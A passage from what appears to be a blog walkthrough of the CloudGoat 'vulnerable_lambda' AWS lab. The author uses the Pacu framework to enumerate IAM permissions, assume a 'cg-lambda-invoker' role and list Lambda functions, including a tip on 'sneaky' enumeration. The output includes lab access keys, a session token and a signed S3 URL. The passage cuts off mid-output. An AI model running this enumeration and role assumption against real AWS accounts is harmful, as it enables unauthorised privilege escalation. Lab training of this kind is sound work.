&#xA0; Confirmed permissions for 0 role(s).&#xA0;</code></pre><p>So, what can we do here?</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; whoami&#xA0;
{&#xA0;
&#xA0; &quot;UserName&quot;: &quot;cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0; &quot;RoleName&quot;: null,&#xA0;
&#xA0; &quot;Arn&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0; &quot;AccountId&quot;: &quot;&lt;account_id&gt;&quot;,&#xA0;
&#xA0; &quot;UserId&quot;: &quot;AIDAZQ3DQJ3M2KQGNDJZC&quot;,&#xA0;
&#xA0; &quot;Roles&quot;: null,&#xA0;
&#xA0; &quot;Groups&quot;: [],&#xA0;
&#xA0; &quot;Policies&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PolicyName&quot;: &quot;cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq-standard-user-assumer&quot;&#xA0;
&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0; ],&#xA0;
&#xA0; &quot;AccessKeyId&quot;: &quot;AKIAZQ3DQJ3M34LJ5K7U&quot;,&#xA0;
&#xA0; &quot;SecretAccessKey&quot;: &quot;78MEA/5OLO4QvSGz61eg********************&quot;,&#xA0;
&#xA0; &quot;SessionToken&quot;: null,&#xA0;
&#xA0; &quot;KeyAlias&quot;: &quot;bilbo&quot;,&#xA0;
&#xA0; &quot;PermissionsConfirmed&quot;: true,&#xA0;
&#xA0; &quot;Permissions&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Allow&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;sts:assumerole&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:iam::&lt;account_id&gt;:role/cg-lambda-invoker*&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;iam:listpoliciesgrantingserviceaccess&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;*&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
...&#xA0;</code></pre><p>Assuming roles beginning with cg-lambda-invoker. That is an interesting find! No worries, I&#x2019;ve truncated the rest because it was boring.</p><p>Time to switch hats!</p><h2 id="probing-further-a-deeper-dive">Probing Further: A Deeper Dive</h2><p>Running the iam__enum_users_roles_policies_groups command helps to gather details about users, roles, policies, and groups. This will help us to detection more potential privilege escalation paths.</p><pre><code class="language-bash">&gt; run&#xA0;&#xA0; iam__enum_users_roles_policies_groups&#xA0;
&#xA0; Running module iam__enum_users_roles_policies_groups...&#xA0;
[iam__enum_users_roles_policies_groups] Found 2 users&#xA0;
[iam__enum_users_roles_policies_groups] Found 23 roles&#xA0;
[iam__enum_users_roles_policies_groups] Found 0 policies&#xA0;
[iam__enum_users_roles_policies_groups] Found 0 groups&#xA0;
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.&#xA0;
&#xA0;
[iam__enum_users_roles_policies_groups] MODULE SUMMARY:&#xA0;
&#xA0;
&#xA0; 2 Users Enumerated&#xA0;
&#xA0; 2 Roles Enumerated&#xA0;
&#xA0; 0 Policies Enumerated&#xA0;
&#xA0; 0 Groups Enumerated&#xA0;
&#xA0; IAM resources saved in Pacu database.&#xA0;</code></pre><p>Sounds good, now let&#x2019;s check what roles we&#x2019;ve collected:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; data IAM Roles&#xA0;
{&#xA0;
&#xA0; &quot;Groups&quot;: [],&#xA0;
&#xA0; &quot;Policies&quot;: [],&#xA0;
&#xA0; &quot;Roles&quot;: [&#xA0;
&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Arn&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;AssumeRolePolicyDocument&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Statement&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Action&quot;: &quot;sts:AssumeRole&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Effect&quot;: &quot;Allow&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Principal&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Service&quot;: &quot;lambda.amazonaws.com&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Sid&quot;: &quot;&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Version&quot;: &quot;2012-10-17&quot;&#xA0;
&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0; &quot;CreateDate&quot;: &quot;Mon, 22 Jan 2024 09:08:45&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;MaxSessionDuration&quot;: 3600,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Path&quot;: &quot;/&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;RoleId&quot;: &quot;AROAZQ3DQJ3M7SZZURA5O&quot;,&#xA0;
&#xA0;&#xA0;&#xA0; &quot;RoleName&quot;: &quot;vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0; }&#xA0;
]&#xA0;</code></pre><p><strong>Sidenote</strong>: If you need to be more sneaky, you can use a less noisy command (Yes, you can execute it directly in Pacu):</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; aws iam list-roles --query &apos;Roles[?contains(RoleName, `cg-lambda-invoker`)]&apos; --output json&#xA0;
&#xA0;
[&#xA0;
&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Path&quot;: &quot;/&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;RoleName&quot;: &quot;cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;RoleId&quot;: &quot;AROAZQ3DQJ3M6KT6GMLQ2&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Arn&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CreateDate&quot;: &quot;2024-01-22T09:09:00Z&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AssumeRolePolicyDocument&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Version&quot;: &quot;2012-10-17&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Statement&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Sid&quot;: &quot;&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Effect&quot;: &quot;Allow&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Principal&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;AWS&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;MaxSessionDuration&quot;: 3600&#xA0;
&#xA0;&#xA0;&#xA0; }&#xA0;
]&#xA0;</code></pre><p>This one allows you to get the role directly by name.</p><p>Next, naturally, is to assume the role:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:bilbo) &gt; assume_role arn:aws:iam::&lt;accound_id&gt;:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq&#xA0;
AWS key is now vulnerable_lambda/arn:aws:sts::&lt;accound_id&gt;:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role.&#xA0;</code></pre><p>Then, reaffirm the permissions afforded by the role with run iam__enum_permissions.</p><pre><code class="language-bash">Pacu (vulnerable_lambda:vulnerable_lambda/&lt;role_arn&gt;/assume-role) &gt; run iam__enum_permissions&#xA0;
&#xA0; Running module iam__enum_permissions...&#xA0;
[iam__enum_permissions] Confirming permissions for roles:&#xA0;
[iam__enum_permissions]&#xA0;&#xA0; cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq...&#xA0;
[iam__enum_permissions]&#xA0;&#xA0;&#xA0;&#xA0; Confirmed permissions for cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq&#xA0;
[iam__enum_permissions] iam__enum_permissions completed.&#xA0;
&#xA0;
[iam__enum_permissions] MODULE SUMMARY:&#xA0;
&#xA0;
&#xA0; Confirmed permissions for 0 user(s).&#xA0;
&#xA0; Confirmed permissions for role: cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq.&#xA0;</code></pre><p>So what permissions do I have with the assumed role:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:vulnerable_lambda/&lt;role_arn&gt;/assume-role) &gt; whoami&#xA0;
{&#xA0;
&#xA0; &quot;UserName&quot;: null,&#xA0;
&#xA0; &quot;RoleName&quot;: &quot;cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq&quot;,&#xA0;
&#xA0; &quot;Arn&quot;: &quot;arn:aws:sts::&lt;account_id&gt;:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role&quot;,&#xA0;
&#xA0; &quot;AccountId&quot;: &quot;&lt;account_id&gt;&quot;,&#xA0;
&#xA0; &quot;UserId&quot;: &quot;AROAZQ3DQJ3M6KT6GMLQ2:assume-role&quot;,&#xA0;
&#xA0; &quot;Roles&quot;: null,&#xA0;
&#xA0; &quot;Groups&quot;: null,&#xA0;
&#xA0; &quot;Policies&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PolicyName&quot;: &quot;lambda-invoker&quot;&#xA0;
&#xA0;&#xA0;&#xA0; }&#xA0;
&#xA0; ],&#xA0;
&#xA0; &quot;AccessKeyId&quot;: &quot;ASIAZQ3DQJ3MZKZGCH42&quot;,&#xA0;
&#xA0; &quot;SecretAccessKey&quot;: &quot;H+dnL75RwBCftB3GI/fH********************&quot;,&#xA0;
&#xA0; &quot;SessionToken&quot;: &quot;FwoGZXIvYXdzEJ3//////////wEaDKvgFBQzBycfRqkG6iKvAeWY5GroKF0s2b6rNDjKMYBbjVQ1+Fc568vgUHLkAb1C1JB2CaIfkFPuol0TpoJ8bK8QtOwkgGSTmYWZIj2fLtOV4L0uz6uik9y06NqFd57kZvrN3G42Jol9d4fsCI29/yJ6B/m/AKJxWpm9jFsgq41cMYH63JvURjIAOnNarYvymtkEhl0fIwx1Y/r2Iy9/KEy9Kd4WUBp9M5YG110eDB94IzmetDcPxxsqu+rzs/go1Z65rQYyLfM87iUrvgXY+CfSXWLhIupq6Qp0r19ARTugyn7Y+FQsviTkUUwn3AiBpOhVYA==&quot;,&#xA0;
&#xA0; &quot;KeyAlias&quot;: &quot;vulnerable_lambda/arn:aws:sts::&lt;account_id&gt;:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role&quot;,&#xA0;
&#xA0; &quot;PermissionsConfirmed&quot;: true,&#xA0;
&#xA0; &quot;Permissions&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0; &quot;Allow&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;lambda:invokefunction&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;lambda:getpolicy&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;lambda:listfunctioneventinvokeconfigs&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;lambda:getfunction&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;lambda:listtags&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Resources&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ]&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
...&#xA0;</code></pre><p>Again, you are welcome! I&#x2019;ve truncated the most boring part. It was a lot! It seems like we can invoke as well as take a look at the code. So let&#x2019;s do exactly that!</p><p>Enumerating the functions with the following command:</p><pre><code class="language-bash">run lambda__enum --regions us-east-1&#xA0;
&#xA0; Running module lambda__enum...&#xA0;
[lambda__enum] Starting region us-east-1...&#xA0;
[lambda__enum] Access Denied for get-account-settings&#xA0;
[lambda__enum]&#xA0;&#xA0; Enumerating data for vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; Enumerating data for aws-controltower-NotificationForwarder&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
[lambda__enum]&#xA0;&#xA0; FAILURE:&#xA0;
[lambda__enum]&#xA0;&#xA0;&#xA0;&#xA0; MISSING NEEDED PERMISSIONS&#xA0;
&#xA0;&#xA0;&#xA0; [+] Secret (ENV): sns_arn= arn:aws:sns:us-east-1:&lt;redacted_account_id&gt;:aws-controltower-AggregateSecurityNotifications&#xA0;
[lambda__enum] lambda__enum completed.&#xA0;
&#xA0;
[lambda__enum] MODULE SUMMARY:&#xA0;
&#xA0;
&#xA0; 2 functions found in us-east-1. View more information in the DB</code></pre><p>Ok, looking good, let&#x2019;s check the data now:</p><pre><code class="language-bash">Pacu (vulnerable_lambda:vulnerable_lambda/&lt;role_arn&gt;/assume-role) &gt; data lambda&#xA0;
{&#xA0;
&#xA0; &quot;Functions&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0; {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Aliases&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Architectures&quot;: [&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;x86_64&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; ],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Code&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Location&quot;: &quot;https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/&lt;account_id&gt;/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1-74b0fec8-4a97-42f5-a7e5-4e08a1dceca6?versionId=AbrQM12U728mSbM8EB2CVA71KHPx6A7a&amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIF0vtXyFrsNn1%2FgU%2BAFfji7b%2Bxo1S8cneaiXkYlQtY%2FYAiBdPylMiB%2B2EdcmuY92d0UFwn2QQiwkXUDfzlOhLOCTVCq5BQhDEAQaDDQ3OTIzMzAyNTM3OSIM0jeCobPA4QxZ%2FBa0KpYFuda6OBslKCCw%2BX5wjyARAcK39gRRS9EfNftFRq2yMGAFAx2c0NbhPkEDmFUlzfCDSbni6jx4UhdZwKYCbptHO6Huj9wgcR8%2F92iDJbZze2PW7aGxUSqR8uXrZPOmDS4T096GY2orrZfBv0eidl0Ub4hBNasZvtxyhHE0wCR4%2BVH6Akr4dvQ7lZ2obpAloCGmCxgfYegk5XCTMiUp7L1hspcQJhZOtnvZ3ZGgmMbtBdUTlPNhkm52Q%2FppCtwu%2BwSH%2FtFhbkl5K0QhehVgommT05NtIU%2FE1c8wI58mKiQbBWGFkYpKPEHLlyix78uXRyVydTWKi0GClljP8%2FX%2Fg5r5b0xnJSenm9WrKH%2FrdGPF9ZVkyyDM7RHXSPnf%2FjJxiqtHhwuvdZXfjAOmZyBZhL9%2FIrsuHMQqvI%2FKG8VVSfcpyRYOr8hc50SuhHdSRN4s5mPNtSdanpfgbxeIuEvS%2Bid4NJ227oKXZL0vbGyH7ePOcuUq%2F%2FVgFB05PXONw4KELERPacGVN2G8%2Fs0hLdOD4WOOh4MpZRdlcUnKhIEr3vteIAQepcC1x%2FshMRfFHFEtxJYqQ5ZniZ1D6eBb9RTfgfBITfqt6jLPZ98Fxc2KTWv%2F3MeXI0a309%2BNjsJzodAqsJkCprDJqjnON2U%2BYHq9pAr4LM%2F%2BT2xM7Xqnw5MXiZROFdIdvtIXbxyS%2FpbwLQ5tG4o6Djy%2FpkQ%2BAINV7RcPgLmDy9EWrLefCljCs8GfavXLjy9a4z7Md6dGrMQZ%2FOxjE9cOYvpFynVif8g33lPmRho1QFo3hCVWrAvyRm812O2YARXTZRw3j6SyFOHMxWOE6zf%2FUbEuRZj5FCPE6YF6IeOkj3qZC0WbsNDA2Rt%2Fu%2F0uqEcL%2FRS%2BEoIws%2F%2B4rQY6sgEAv0MRiEXShsQZV%2B%2FFuywDIVANfVl98eT87G6jEp3QfdloB9Vwa%2BJXD9i7KK3wDwrurR33C2b%2F%2FtuzbEfZk%2BahMa6bsyWwdh6uFdAsAigzUmbeBqG83Tz1E4XIzhHaunVuXT89lBwVMUEUjUwGyJER2cf5R%2F7SwqKiUBkR7pTWVlKrCQU46giPbiPMoVA%2FisNZrV8rstIYLy0l5HkYalLbIL%2Fwv155DjSTMH%2Bioo3w2Qvv&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Date=20240122T112938Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=600&amp;X-Amz-Credential=ASIAW7FEDUVRVMAKHAM5%2F20240122%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Signature=b1d13bccc07c662c7d9905a896beab10ac09864c0f0c40ec72cff9f5eaea147f&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;RepositoryType&quot;: &quot;S3&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CodeSha256&quot;: &quot;U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;CodeSize&quot;: 991559,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Description&quot;: &quot;This function will apply a managed policy to the user of your choice, so long as the database says that it&apos;s okay...&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;EphemeralStorage&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Size&quot;: 512&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;EventSourceMappings&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;FunctionArn&quot;: &quot;arn:aws:lambda:us-east-1:&lt;account_id&gt;:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;FunctionName&quot;: &quot;vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Handler&quot;: &quot;main.handler&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LastModified&quot;: &quot;2024-01-22T09:08:54.154+0000&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LoggingConfig&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LogFormat&quot;: &quot;Text&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;LogGroup&quot;: &quot;/aws/lambda/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;MemorySize&quot;: 128,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;PackageType&quot;: &quot;Zip&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Policy&quot;: [],&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Region&quot;: &quot;us-east-1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;RevisionId&quot;: &quot;a676a698-649e-49a4-bd8f-b751660672ef&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Role&quot;: &quot;arn:aws:iam::&lt;account_id&gt;:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Runtime&quot;: &quot;python3.9&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;SnapStart&quot;: {&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;ApplyOn&quot;: &quot;None&quot;,&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;OptimizationStatus&quot;: &quot;Off&quot;&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; },&#xA0;
&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; &quot;Tags&quot;: {&#xA0;
